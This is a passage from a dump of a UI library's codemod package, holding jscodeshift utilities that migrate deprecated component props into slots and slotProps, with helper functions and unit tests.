be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('theme.actual.js should not be equal to theme.expected.js', () => {\n        const actual = read('./test-cases/theme.actual.js');\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).not.to.equal(expected);\n      });\n    });\n\n    describe('[package] typography-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/utils/movePropIntoSlotProps.js",
    "content": "import findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\nimport assignObject from '../../util/assignObject';\nimport appendAttribute from '../../util/appendAttribute';\n\nfunction moveJsxPropIntoSlotProps(j, element, propName, slotName, slotPropName) {\n  const propIndex = element.openingElement.attributes.findIndex(\n    (attr) => attr.type === 'JSXAttribute' && attr.name.name === propName,\n  );\n\n  if (propIndex !== -1) {\n    const removedAttr = element.openingElement.attributes.splice(propIndex, 1)[0];\n    const removedValue =\n      removedAttr.value.type === 'StringLiteral'\n        ? j.literal(removedAttr.value.value)\n        : removedAttr.value.expression;\n\n    let hasSlotProps = false;\n    element.openingElement.attributes.forEach((attr) => {\n      if (attr.name?.name === 'slotProps') {\n        hasSlotProps = true;\n        const slots = attr.value.expression;\n        const slotIndex = slots.properties.findIndex((prop) => prop?.key?.name === slotName);\n\n        if (slotIndex === -1) {\n          // Create new slot\n          const slotValue = slotPropName\n            ? j.objectExpression([j.objectProperty(j.identifier(slotPropName), removedValue)])\n            : removedValue;\n\n          assignObject(j, {\n            target: attr,\n            key: slotName,\n            expression: slotValue,\n          });\n        } else {\n          // Add property to existing slot\n          const existingSlot = slots.properties[slotIndex].value;\n          if (slotPropName) {\n            if (existingSlot.type === 'ObjectExpression') {\n              existingSlot.properties.push(\n                j.objectProperty(j.identifier(slotPropName), removedValue),\n              );\n            } else {\n              slots.properties[slotIndex].value = j.objectExpression([\n                j.objectProperty(j.identifier(slotPropName), removedValue),\n              ]);\n            }\n          } else {\n            slots.properties[slotIndex].value = j.objectExpression([\n              j.spreadElement(removedValue),\n              j.spreadElement(existingSlot),\n            ]);\n          }\n        }\n      }\n    });\n\n    if (!hasSlotProps) {\n      // Create new slotProps\n      const slotValue = slotPropName\n        ? j.objectExpression([j.objectProperty(j.identifier(slotPropName), removedValue)])\n        : removedValue;\n\n      appendAttribute(j, {\n        target: element,\n        attributeName: 'slotProps',\n        expression: j.objectExpression([j.objectProperty(j.identifier(slotName), slotValue)]),\n      });\n    }\n  }\n}\n\nfunction moveDefaultPropsPropIntoslotProps(\n  j,\n  defaultPropsPathCollection,\n  propName,\n  slotName,\n  slotPropName,\n) {\n  defaultPropsPathCollection.find(j.ObjectProperty, { key: { name: propName } }).forEach((path) => {\n    const removedValue = path.value.value;\n    const defaultProps = path.parent.value;\n\n    let hasSlotProps = false;\n    defaultProps.properties.forEach((property) => {\n      if (property.key?.name === 'slotProps') {\n        hasSlotProps = true;\n        const slotIndex = property.value.properties.findIndex(\n          (prop) => prop?.key?.name === slotName,\n        );\n        if (slotIndex === -1) {\n          // Create new slot\n          const slotValue = slotPropName\n            ? j.objectExpression([j.objectProperty(j.identifier(slotPropName), removedValue)])\n            : removedValue;\n\n          property.value.properties.push(j.objectProperty(j.identifier(slotName), slotValue));\n        } else {\n          // Add property to existing slot\n          const existingSlot = property.value.properties[slotIndex].value;\n          if (slotPropName) {\n            if (existingSlot.type === 'ObjectExpression') {\n              existingSlot.properties.push(\n                j.objectProperty(j.identifier(slotPropName), removedValue),\n              );\n            } else {\n              property.value.properties[slotIndex].value = j.objectExpression([\n                j.objectProperty(j.identifier(slotPropName), removedValue),\n              ]);\n            }\n          } else {\n            property.value.properties[slotIndex].value = j.objectExpression([\n              j.spreadElement(removedValue),\n              j.spreadElement(existingSlot),\n            ]);\n          }\n        }\n      }\n    });\n\n    if (!hasSlotProps) {\n      // Create new slotProps\n      const slotValue = slotPropName\n        ? j.objectExpression([j.objectProperty(j.identifier(slotPropName), removedValue)])\n        : removedValue;\n\n      defaultProps.properties.push(\n        j.objectProperty(\n          j.identifier('slotProps'),\n          j.objectExpression([j.objectProperty(j.identifier(slotName), slotValue)]),\n        ),\n      );\n    }\n\n    path.prune();\n  });\n}\n\n/**\n * Moves prop into slotProps.\n * If the slotProps prop exists, it will merge the prop into the slotProps.\n * If there are duplicated values, the values will be spread.\n *\n * @param {import('jscodeshift')} j\n * @param {{ root: import('jscodeshift').Collection; componentName: string, propName: string, slotName: string, slotPropName?: string }} options\n *\n * @example <Component TransitionProps={value} /> => <Component slotProps={{ transition: value }} />\n * @example <Component tooltipClasses={classes} /> => <Component slotProps={{ tooltip: { classes: classes } }} />\n */\nexport default function movePropIntoSlotProps(j, options) {\n  const { propName, slotName, slotPropName } = options;\n\n  findComponentJSX(j, options, (elementPath) => {\n    moveJsxPropIntoSlotProps(j, elementPath.node, propName, slotName, slotPropName);\n  });\n\n  const defaultPropsPathCollection = findComponentDefaultProps(j, options);\n\n  moveDefaultPropsPropIntoslotProps(\n    j,\n    defaultPropsPathCollection,\n    propName,\n    slotName,\n    slotPropName,\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/utils/movePropIntoSlots.js",
    "content": "import findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\nimport assignObject from '../../util/assignObject';\nimport appendAttribute from '../../util/appendAttribute';\n\nfunction moveJsxPropIntoSlots(j, element, propName, slotName) {\n  const index = element.openingElement.attributes.findIndex(\n    (attr) => attr.type === 'JSXAttribute' && attr.name.name === propName,\n  );\n\n  if (index !== -1) {\n    const attrNode = element.openingElement.attributes.splice(index, 1)[0];\n    const removedValue = attrNode.value.expression || attrNode.value;\n    let hasSlots = false;\n    element.openingElement.attributes.forEach((attr) => {\n      if (attr.name?.name === 'slots') {\n        hasSlots = true;\n        const slotIndex = attr.value.expression.properties.findIndex(\n          (prop) => prop?.key?.name === slotName,\n        );\n        if (slotIndex === -1) {\n          assignObject(j, {\n            target: attr,\n            key: slotName,\n            expression: removedValue,\n          });\n        }\n      }\n    });\n\n    if (!hasSlots) {\n      appendAttribute(j, {\n        target: element,\n        attributeName: 'slots',\n        expression: j.objectExpression([j.objectProperty(j.identifier(slotName), removedValue)]),\n      });\n    }\n  }\n}\n\nfunction moveDefaultPropsPropIntoSlots(j, defaultPropsPathCollection, propName, slotName) {\n  defaultPropsPathCollection.find(j.ObjectProperty, { key: { name: propName } }).forEach((path) => {\n    const removedValue = path.value.value;\n    const defaultProps = path.parent.value;\n\n    let hasSlots = false;\n    defaultProps.properties.forEach((property) => {\n      if (property.key?.name === 'slots') {\n        hasSlots = true;\n        const slots = property.value;\n        const slotIndex = slots.properties.findIndex((prop) => prop?.key?.name === slotName);\n        if (slotIndex === -1) {\n          slots.properties.push(j.objectProperty(j.identifier(slotName), removedValue));\n        }\n      }\n    });\n\n    if (!hasSlots) {\n      defaultProps.properties.push(\n        j.property(\n          'init',\n          j.identifier('slots'),\n          j.objectExpression([j.objectProperty(j.identifier(slotName), removedValue)]),\n        ),\n      );\n    }\n\n    path.prune();\n  });\n}\n\n/**\n * Moves prop into slots.\n * If the slots prop exists, it will add the prop to the slots.\n * If there are duplicated values, the slots values will be used.\n *\n * @param {import('jscodeshift')} j\n * @param {{ root: import('jscodeshift').Collection; componentName: string, propName: string, slotName: string }} options\n *\n * @example <Component TransitionComponent={CustomTransition} /> => <Component slots={{ transition: CustomTransition }} />\n */\nexport default function movePropIntoSlots(j, options) {\n  const { propName, slotName } = options;\n\n  findComponentJSX(j, options, (elementPath) => {\n    moveJsxPropIntoSlots(j, elementPath.node, propName, slotName);\n  });\n\n  const defaultPropsPathCollection = findComponentDefaultProps(j, options);\n\n  moveDefaultPropsPropIntoSlots(j, defaultPropsPathCollection, propName, slotName);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/utils/replaceComponentsWithSlots.js",
    "content": "import findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\nimport assignObject from '../../util/assignObject';\nimport appendAttribute from '../../util/appendAttribute';\n\nfunction componentsKeyToSlotsKey(str) {\n  return str[0].toLowerCase() + str.slice(1);\n}\n\nfunction replaceJsxComponentsProp(j, elementPath) {\n  const element = elementPath.node;\n  const index = element.openingElement.attributes.findIndex(\n    (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'components',\n  );\n  if (index !== -1) {\n    const removed = element.openingElement.attributes.splice(index, 1);\n    const camelCaseComponents = removed[0].value.expression.properties.reduce((acc, prop) => {\n      return { ...acc, [componentsKeyToSlotsKey(prop.key.name)]: prop.value };\n    }, {});\n    let hasNode = false;\n    element.openingElement.attributes.forEach((attr) => {\n      if (attr.name?.name === 'slots') {\n        hasNode = true;\n        const slots = attr.value.expression.properties.reduce((acc, prop) => {\n          return { ...acc, [prop.key.name]: prop.value };\n        }, {});\n        Object.entries(camelCaseComponents).forEach(([slot, value]) => {\n          if (!slots[slot]) {\n            assignObject(j, {\n              target: attr,\n              key: slot,\n              expression: value,\n            });\n          }\n        });\n      }\n    });\n    if (!hasNode) {\n      appendAttribute(j, {\n        target: element,\n        attributeName: 'slots',\n        expression: j.objectExpression(\n          Object.entries(camelCaseComponents).map(([slot, value]) => {\n            return j.objectProperty(j.identifier(slot), value);\n          }),\n        ),\n      });\n    }\n  }\n}\n\nfunction replaceJsxComponentsPropsProp(j, element) {\n  const index = element.openingElement.attributes.findIndex(\n    (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'componentsProps',\n  );\n  if (index !== -1) {\n    const removed = element.openingElement.attributes.splice(index, 1);\n    let hasNode = false;\n    element.openingElement.attributes.forEach((attr) => {\n      if (attr.name?.name === 'slotProps') {\n        hasNode = true;\n        const slotProps = attr.value.expression.properties.reduce((acc, prop) => {\n          return { ...acc, [prop.key.name]: prop.value };\n        }, {});\n        removed[0].value.expression.properties.forEach((prop) => {\n          if (!slotProps[prop.key.name]) {\n            assignObject(j, {\n              target: attr,\n              key: prop.key.name,\n              expression: prop.value,\n            });\n          } else {\n            attr.value.expression.properties = attr.value.expression.properties.filter(\n              (p) => p?.key?.name !== prop.key.name,\n            );\n\n            assignObject(j, {\n              target: attr,\n              key: prop.key.name,\n              expression: j.objectExpression([\n                j.spreadElement(prop.value),\n                j.spreadElement(slotProps[prop.key.name]),\n              ]),\n            });\n          }\n        });\n      }\n    });\n    if (!hasNode) {\n      appendAttribute(j, {\n        target: element,\n        attributeName: 'slotProps',\n        expression: removed[0].value.expression,\n      });\n    }\n  }\n}\n\nfunction replaceDefaultPropsComponentsProp(j, defaultPropsPathCollection) {\n  defaultPropsPathCollection\n    .find(j.ObjectProperty, { key: { name: 'components' } })\n    .forEach((path) => {\n      const { properties: defaultPropsProperties } = path.parent.value;\n\n      const components = path.value.value.properties.reduce((acc, prop) => {\n        return { ...acc, [componentsKeyToSlotsKey(prop.key.name)]: prop.value };\n      }, {});\n\n      const existingSlots = defaultPropsProperties.find((prop) => prop.key.name === 'slots');\n\n      const slots = existingSlots\n        ? existingSlots.value.properties.reduce((acc, prop) => {\n            return { ...acc, [prop.key.name]: prop.value };\n          }, {})\n        : {};\n\n      const updatedSlots = j.objectExpression(\n        Object.entries({ ...components, ...slots }).map(([slot, value]) => {\n          return j.objectProperty(j.identifier(slot), value);\n        }),\n      );\n\n      if (existingSlots) {\n        existingSlots.value = updatedSlots;\n      } else {\n        defaultPropsProperties.push(j.property('init', j.identifier('slots'), updatedSlots));\n      }\n\n      path.prune();\n    });\n}\n\nfunction replaceDefaultPropsComponentsPropsProp(j, defaultPropsPathCollection) {\n  defaultPropsPathCollection\n    .find(j.ObjectProperty, { key: { name: 'componentsProps' } })\n    .forEach((path) => {\n      const { properties: defaultPropsProperties } = path.parent.value;\n\n      const components = path.value.value.properties.reduce((acc, prop) => {\n        return { ...acc, [prop.key.name]: prop.value };\n      }, {});\n\n      const existingSlots = defaultPropsProperties.find((prop) => prop.key.name === 'slotProps');\n\n      const slots = existingSlots\n        ? existingSlots.value.properties.reduce((acc, prop) => {\n            return {\n              ...acc,\n              [prop.key.name]: components[prop.key.name]\n                ? j.objectExpression([\n                    j.spreadElement(components[prop.key.name]),\n                    j.spreadElement(prop.value),\n                  ])\n                : prop.value,\n            };\n          }, {})\n        : {};\n\n      const updatedSlots = j.objectExpression(\n        Object.entries({ ...components, ...slots }).map(([slot, value]) => {\n          return j.objectProperty(j.identifier(slot), value);\n        }),\n      );\n\n      if (existingSlots) {\n        existingSlots.value = updatedSlots;\n      } else {\n        defaultPropsProperties.push(j.property('init', j.identifier('slotProps'), updatedSlots));\n      }\n\n      path.prune();\n    });\n}\n\n/**\n * Replaces components and componentsProps props with slots and slotProps.\n * Handles local object and variable declaration.\n * If the slots prop exists, it will add the components to the slots.\n * If there are duplicated values, the slots values will be used.\n *\n * @param {import('jscodeshift')} j\n * @param {{ element: import('jscodeshift').JSXElement, packageName?: string }} options\n *\n * @example <Component componentsProps={{ root: { 'testid': 'root-id'} }} /> => <Component slotProps={{ root: { 'testid': 'root-id'} }} />\n */\nexport default function replaceComponentsWithSlots(j, options) {\n  findComponentJSX(j, options, (elementPath) => {\n    replaceJsxComponentsProp(j, elementPath);\n    replaceJsxComponentsPropsProp(j, elementPath.node);\n  });\n\n  const defaultPropsPathCollection = findComponentDefaultProps(j, options);\n\n  replaceDefaultPropsComponentsProp(j, defaultPropsPathCollection);\n  replaceDefaultPropsComponentsPropsProp(j, defaultPropsPathCollection);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/appendAttribute.js",
    "content": "/**\n * @param {import('jscodeshift')} j\n * @param {{ target: import('jscodeshift').JSXElement; attributeName: string; expression: import('ast-types/gen/kinds').ExpressionKind | import('ast-types/gen/kinds').JSXEmptyExpressionKind; }} options\n */\nexport default function appendAttribute(j, options) {\n  const { target, attributeName, expression } = options;\n\n  target.openingElement.attributes.push(\n    j.jsxAttribute(j.jsxIdentifier(attributeName), j.jsxExpressionContainer(expression)),\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/assignObject.js",
    "content": "/**\n * Pushes an expression to a known object. handles local object and variable declaration.\n *\n * @param {import('jscodeshift')} j\n * @param {{ target: import('jscodeshift').JSXAttribute; expression: import('ast-types/gen/kinds').ExpressionKind; key: string }} options\n *\n * @example push expression to `slots.transition` => <Component slots={{ transition: <expression> }} />\n * @example push expression to `slots.transition` => <Component slots={{ ...slots, transition: <expression> }} />\n */\nexport default function assignObject(j, options) {\n  const { target, expression, key } = options;\n  if (target && target.type === 'JSXAttribute') {\n    const expContainer = /** @type import('jscodeshift').JSXExpressionContainer */ (target.value);\n\n    if (expContainer.expression.type === 'ObjectExpression') {\n      // case `<prop>={{ ... }}`\n      expContainer.expression.properties.push(j.objectProperty(j.identifier(key), expression));\n    } else if (expContainer.expression.type === 'Identifier') {\n      // case `<prop>={outerVariable}\n      expContainer.expression = j.objectExpression([\n        j.spreadElement(j.identifier(expContainer.expression.name)),\n        j.objectProperty(j.identifier(key), expression),\n      ]);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/findComponentDefaultProps.js",
    "content": "/**\n * Find all the default props path of a given component name.\n *\n * @param {import('jscodeshift')} j\n * @param {{ root: import('jscodeshift').Collection; componentName: string }} options\n * @returns {import('jscodeshift').Collection}\n *\n */\nexport default function findComponentDefaultProps(j, options) {\n  const { root, componentName } = options;\n\n  const defaultPropsPathCollection = root\n    .find(j.ObjectProperty, { key: { name: `Mui${componentName}` } })\n    .find(j.ObjectProperty, { key: { name: 'defaultProps' } });\n\n  return defaultPropsPathCollection;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/findComponentJSX.js",
    "content": "/**\n * Find all the JSXElements of a given component name.\n *\n * @param {import('jscodeshift')} j\n * @param {{ root: import('jscodeshift').Collection; componentName: string; packageName?: string }} options\n * @param {(path: import('jscodeshift').ASTPath<import('jscodeshift').JSXElement>) => void} callback\n *\n */\nexport default function findComponentJSX(j, options, callback) {\n  const { root, componentName, packageName = '@mui/material' } = options;\n\n  // case 1: import ComponentName from '@mui/material/ComponentName';\n  // case 2: import { ComponentName } from '@mui/material';\n  // case 3: import { ComponentName as SomethingElse } from '@mui/material';\n\n  const importName = new Set();\n\n  root\n    .find(j.ImportDeclaration)\n    .filter((path) =>\n      path.node.source.value.match(new RegExp(`^${packageName}(/${componentName})?$`)),\n    )\n    .forEach((path) => {\n      path.node.specifiers.forEach((specifier) => {\n        if (specifier.type === 'ImportDefaultSpecifier') {\n          importName.add(specifier.local.name);\n        }\n        if (specifier.type === 'ImportSpecifier' && specifier.imported.name === componentName) {\n          importName.add(specifier.local.name);\n        }\n      });\n    });\n\n  [...importName].forEach((name) => {\n    root.findJSXElements(name).forEach((elementPath) => {\n      callback(elementPath);\n    });\n  });\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/findComponentJSX.test.js",
    "content": "import { expect } from 'chai';\nimport findComponentJSX from './findComponentJSX';\nimport { jscodeshift } from '../../testUtils';\n\ndescribe('@mui/codemod', () => {\n  describe('utils', () => {\n    describe('findComponentJSX', () => {\n      it('should find all the JSXElements of a given component name', () => {\n        const j = jscodeshift;\n        const root = j(`\n          import { Accordion } from '@mui/material'; // ✅\n          import Accordion2 from '@mui/material/Accordion'; // ✅\n          import Accordion3 from '@mui/material/Accordion3'; // ❌\n          <Accordion />;\n          <Accordion2 />;\n          <Accordion3 />;\n        `);\n\n        const componentName = 'Accordion';\n        const foundElements = [];\n        findComponentJSX(j, { root, componentName }, (path) => {\n          foundElements.push(path);\n        });\n\n        expect(foundElements.length).to.equal(2);\n      });\n\n      it('should find with custom package name', () => {\n        const j = jscodeshift;\n        const root = j(`\n          import { Accordion } from '@org/ui/material'; // ✅\n          import Accordion2 from '@org/ui/material/Accordion'; // ✅\n          import Accordion3 from '@org/ui/material/Accordion3'; // ❌\n          <Accordion />;\n          <Accordion2 />;\n          <Accordion3 />;\n        `);\n\n        const componentName = 'Accordion';\n        const foundElements = [];\n        findComponentJSX(j, { root, componentName, packageName: '@org/ui/material' }, (path) => {\n          foundElements.push(path);\n        });\n\n        expect(foundElements.length).to.equal(2);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/util/getJSExports.js",
    "content": "import { readFileSync } from 'fs';\nimport { parseSync } from '@babel/core';\nimport traverse from '@babel/traverse';\nimport memoize from './memoize';\n\nconst getJSExports = memoize((file) => {\n  const result = new Set();\n\n  const ast = parseSync(readFileSync(file, 'utf8'), {\n    filename: file,\n  });\n\n  traverse(ast, {\n    ExportSpecifier: ({ node: { exported } }) => {\n      result.add(exported.name);\n    },\n  });\n\n  return result;\n});\n\nexport default getJSExports;\n"
  },
  {
    "path": "packages/mui-codemod/src/util/getReturnExpression.js",
    "content": "/**\n * @param {import('ast-types').namedTypes.ArrowFunctionExpression | import('ast-types').namedTypes.FunctionExpression} node\n */\nexport default function getReturnExpression(node) {\n  let body = node.body;\n  if (body === 'BlockStatement') {\n    body = body.body;\n  }\n\n  if (Array.isArray(body)) {\n    return body.find((statement) => statement.type === 'ReturnStatement')?.argument;\n  }\n  return body;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/util/memoize.js",
    "content": "const memoize = (func, resolver = (a) => a) => {\n  const cache = new Map();\n  return (...args) => {\n    const key = resolver(...args);\n    if (cache.has(key)) {\n      return cache.get(key);\n    }\n    const value = func(...args);\n    cache.set(key, value);\n    return value;\n  };\n};\n\nexport default memoize;\n"
  },
  {
    "path": "packages/mui-codemod/src/util/migrateToVariants.js",
    "content": "const MAX_DEPTH = 20;\n\n/**\n * @param {import('jscodeshift').API['j']} j\n * @returns\n */\nexport const getCreateBuildStyle = (j) =>\n  function createBuildStyle(key, upperBuildStyle, applyStylesMode) {\n    if (applyStylesMode) {\n      upperBuildStyle = (styleExpression) =>\n        j.objectExpression([\n          j.spreadElement(\n            j.callExpression(\n              j.memberExpression(j.identifier('theme'), j.identifier('applyStyles')),\n              [j.stringLiteral(applyStylesMode), styleExpression],\n            ),\n          ),\n        ]);\n    }\n    return function buildStyle(styleExpression) {\n      if (key) {\n        if (key.type === 'Identifier' || key.type === 'StringLiteral') {\n          return upperBuildStyle(j.objectExpression([j.objectProperty(key, styleExpression)]));\n        }\n        if (key.type === 'TemplateLiteral' || key.type === 'CallExpression') {\n          return upperBuildStyle(\n            j.objectExpression([\n              {\n                ...j.objectProperty(key, styleExpression),\n                computed: true,\n              },\n            ]),\n          );\n        }\n      }\n      return upperBuildStyle ? upperBuildStyle(styleExpression) : styleExpression;\n    };\n  };\n\n/**\n * @param {import('jscodeshift').API['j']} j\n */\nexport const getAppendPaletteModeStyles = (j) =>\n  /**\n   *\n   * @param {{ properties: any[] }} node\n   * @param {Record<string, any[] | import('jscodeshift').ObjectExpression>} modeStyles\n   */\n  function appendPaletteModeStyles(node, modeStyles) {\n    Object.entries(modeStyles).forEach(([mode, objectStyles]) => {\n      node.properties.push(\n        j.spreadElement(\n          j.callExpression(j.memberExpression(j.identifier('theme'), j.identifier('applyStyles')), [\n            j.stringLiteral(mode),\n            Array.isArray(objectStyles) ? j.objectExpression(objectStyles) : objectStyles,\n          ]),\n        ),\n      );\n    });\n  };\n\n/**\n *\n * @param {import('jscodeshift').MemberExpression | import('jscodeshift').Identifier} node\n */\nexport function getIdentifierKey(node) {\n  if (node.type === 'MemberExpression') {\n    return node.property;\n  }\n  return node;\n}\n\n/**\n *\n * @param {import('jscodeshift').UnaryExpression | import('jscodeshift').MemberExpression | import('jscodeshift').Identifier} node\n */\nexport function getObjectKey(node) {\n  let tempNode = { ...node };\n  while (tempNode.type === 'UnaryExpression') {\n    tempNode = tempNode.argument;\n  }\n  while (tempNode.type === 'MemberExpression' || tempNode.type === 'OptionMemberExpression') {\n    tempNode = tempNode.object;\n  }\n  return tempNode;\n}\n\n/**\n *\n * @param {import('jscodeshift').ObjectExpression} node\n */\nexport function removeProperty(parentNode, child) {\n  if (parentNode) {\n    if (parentNode.type === 'ObjectExpression') {\n      parentNode.properties = parentNode.properties.filter(\n        (prop) => prop !== child && prop.value !== child,\n      );\n    }\n  }\n}\n\n/**\n * @param {import('jscodeshift').API['j']} j\n */\nexport const getBuildArrowFunctionAST = (j) =>\n  /**\n   *\n   * @param {Set<string> | import('jscodeshift').Expression[]} params\n   * @param {import('jscodeshift').BlockStatement} body\n   * @returns\n   */\n  function buildArrowFunctionAST(params, body) {\n    const destructured = [...params].every((param) => typeof param === 'string');\n    return j.arrowFunctionExpression(\n      destructured\n        ? [\n            j.objectPattern(\n              [...params].map((k) => ({\n                ...j.objectProperty(j.identifier(k), j.identifier(k)),\n                shorthand: true,\n              })),\n            ),\n          ]\n        : params,\n      body,\n    );\n  };\n\n/**\n * @param {import('jscodeshift').API['j']} j\n */\nexport const getObjectToArrowFunction = (j) => {\n  const buildArrowFunctionAST = getBuildArrowFunctionAST(j);\n  return (\n    /**\n     *\n     * @param {import('jscodeshift').ObjectExpression} objectExpression\n     * @param {import('jscodeshift').BinaryExpression} additional\n     */\n    function objectToArrowFunction(objectExpression, additional) {\n      const paramKeys = new Set();\n      let left;\n      objectExpression.properties.forEach((prop, index) => {\n        paramKeys.add(prop.key.name);\n        const result = j.binaryExpression('===', prop.key, prop.value);\n        if (index === 0) {\n          left = result;\n        } else {\n          left = j.logicalExpression('&&', left, result);\n        }\n      });\n      if (additional) {\n        paramKeys.add(getObjectKey(additional.left).name);\n      }\n      return buildArrowFunctionAST(\n        paramKeys,\n        additional ? j.logicalExpression('&&', left, additional) : left,\n      );\n    }\n  );\n};\n\n/**\n *\n * @param {undefined | null | import('jscodeshift').Expression} node\n */\nexport function isThemePaletteMode(node) {\n  return (\n    node?.type === 'MemberExpression' &&\n    node.object.type === 'MemberExpression' &&\n    node.object.object.name === 'theme' &&\n    node.object.property.name === 'palette' &&\n    node.property.name === 'mode'\n  );\n}\n\n/**\n *\n * @param {import('jscodeshift').API['j']} j\n * @param {any[]} styles\n */\nexport default function migrateToVariants(j, styles) {\n  const createBuildStyle = getCreateBuildStyle(j);\n  const appendPaletteModeStyles = getAppendPaletteModeStyles(j);\n  const buildArrowFunctionAST = getBuildArrowFunctionAST(j);\n  const objectToArrowFunction = getObjectToArrowFunction(j);\n\n  /**\n   * A map of used variable with its original name\n   */\n  const parameterMap = {};\n\n  /**\n   *\n   * @param {import('jscodeshift').Identifier | import('jscodeshift').BinaryExpression | import('jscodeshift').UnaryExpression | import('jscodeshift').MemberExpression} node\n   */\n  function inverseBinaryExpression(node) {\n    if (node.type === 'Identifier' || node.type === 'MemberExpression') {\n      return j.unaryExpression('!', node);\n    }\n    if (node.operator === '===') {\n      return { ...node, operator: '!==' };\n    }\n    if (node.operator === '!==') {\n      return { ...node, operator: '===' };\n    }\n    if (node.operator === '!') {\n      if (node.argument?.operator === '!') {\n        return node.argument;\n      }\n      return j.unaryExpression('!', node);\n    }\n    return node;\n  }\n\n  function buildObjectAST(jsObject) {\n    const result = j.objectExpression([]);\n    Object.entries(jsObject).forEach(([key, value]) => {\n      result.properties.push(j.objectProperty(j.identifier(key), value));\n    });\n    return result;\n  }\n\n  function resolveParamName(name) {\n    if (typeof name !== 'string') {\n      if (name.type === 'Identifier' && parameterMap[name.name]) {\n        if (parameterMap[name.name].includes('-')) {\n          return j.stringLiteral(parameterMap[name.name]);\n        }\n        return { ...name, name: parameterMap[name.name] };\n      }\n      return name;\n    }\n    return parameterMap[name] || name;\n  }\n\n  /**\n   *\n   * @param {import('jscodeshift').LogicalExpression | import('jscodeshift').BinaryExpression | import('jscodeshift').UnaryExpression | import('jscodeshift').MemberExpression} node\n   */\n  function buildProps(node) {\n    const properties = [];\n    const variables = new Set();\n    let isAllEqual = true;\n    let tempNode = { ...node };\n    function assignProperties(_node) {\n      if (_node.type === 'BinaryExpression') {\n        variables.add(resolveParamName(getObjectKey(_node.left).name));\n        if (_node.operator === '===') {\n          properties.push(\n            j.objectProperty(resolveParamName(getIdentifierKey(_node.left)), _node.right),\n          );\n        } else {\n          isAllEqual = false;\n        }\n      }\n      if (_node.type === 'MemberExpression' || _node.type === 'Identifier') {\n        isAllEqual = false;\n        variables.add(resolveParamName(getObjectKey(_node).name));\n      }\n      if (_node.type === 'UnaryExpression') {\n        isAllEqual = false;\n        if (_node.argument.type === 'UnaryExpression') {\n          // handle `!!variable`\n          variables.add(resolveParamName(getObjectKey(_node.argument.argument).name));\n        } else {\n          // handle `!variable`\n          variables.add(resolveParamName(getObjectKey(_node.argument).name));\n        }\n      }\n    }\n    let counter = 0;\n    if (tempNode.type !== 'LogicalExpression') {\n      assignProperties(tempNode);\n    } else {\n      while (tempNode.type === 'LogicalExpression' && counter < MAX_DEPTH) {\n        counter += 1;\n        if (tempNode.operator !== '&&') {\n          isAllEqual = false;\n        }\n\n        assignProperties(tempNode.right);\n        if (tempNode.left.type !== 'LogicalExpression') {\n          assignProperties(tempNode.left);\n          break;\n        }\n\n        tempNode = { ...tempNode.left };\n      }\n    }\n\n    if (!isAllEqual) {\n      return buildArrowFunctionAST(variables, node);\n    }\n    return j.objectExpression(properties);\n  }\n\n  function mergeProps(parentProps, currentProps) {\n    if (parentProps.type === 'ObjectExpression' && currentProps.type === 'ObjectExpression') {\n      return j.objectExpression([...parentProps.properties, ...currentProps.properties]);\n    }\n    const parentArrow =\n      parentProps.type === 'ObjectExpression' ? objectToArrowFunction(parentProps) : parentProps;\n    const currentArrow =\n      currentProps.type === 'ObjectExpression' ? objectToArrowFunction(currentProps) : currentProps;\n    const variables = new Set();\n    [...parentArrow.params[0].properties, ...currentArrow.params[0].properties].forEach((param) => {\n      variables.add(resolveParamName(param.key.name));\n    });\n    return buildArrowFunctionAST(\n      variables,\n      j.logicalExpression('&&', parentArrow.body, currentArrow.body),\n    );\n  }\n\n  // 2. Find logical spread expressions to convert to variants\n  styles.forEach((style) => {\n    const parameters = new Set();\n    style.params.forEach((param) => {\n      if (param.type === 'ObjectPattern') {\n        param.properties.forEach((prop) => {\n          if (prop.type === 'ObjectProperty') {\n            let paramName;\n            if (prop.value.type === 'Identifier') {\n              paramName = prop.value.name;\n            }\n            if (prop.value.type === 'AssignmentPattern') {\n              paramName = prop.value.left.name;\n            }\n            if (paramName) {\n              parameters.add(paramName);\n              if (prop.key.type === 'Identifier') {\n                parameterMap[paramName] = prop.key.name;\n              }\n              if (prop.key.type === 'StringLiteral') {\n                parameterMap[paramName] = prop.key.value;\n              }\n            }\n          }\n        });\n      }\n      if (param.type === 'Identifier') {\n        parameters.add(param.name);\n      }\n    });\n    const variants = [];\n\n    if (style.body.type === 'LogicalExpression') {\n      if (\n        style.params[0] &&\n        (style.params[0].type === 'Identifier' ||\n          (style.params[0].type === 'ObjectPattern' &&\n            style.params[0].properties.some((prop) => prop.key.name !== 'theme')))\n      ) {\n        // case: ({ theme, ownerState }) => ownerState.variant === 'regular' && theme.mixins.toolbar\n        style.body = j.objectExpression([\n          j.objectProperty(\n            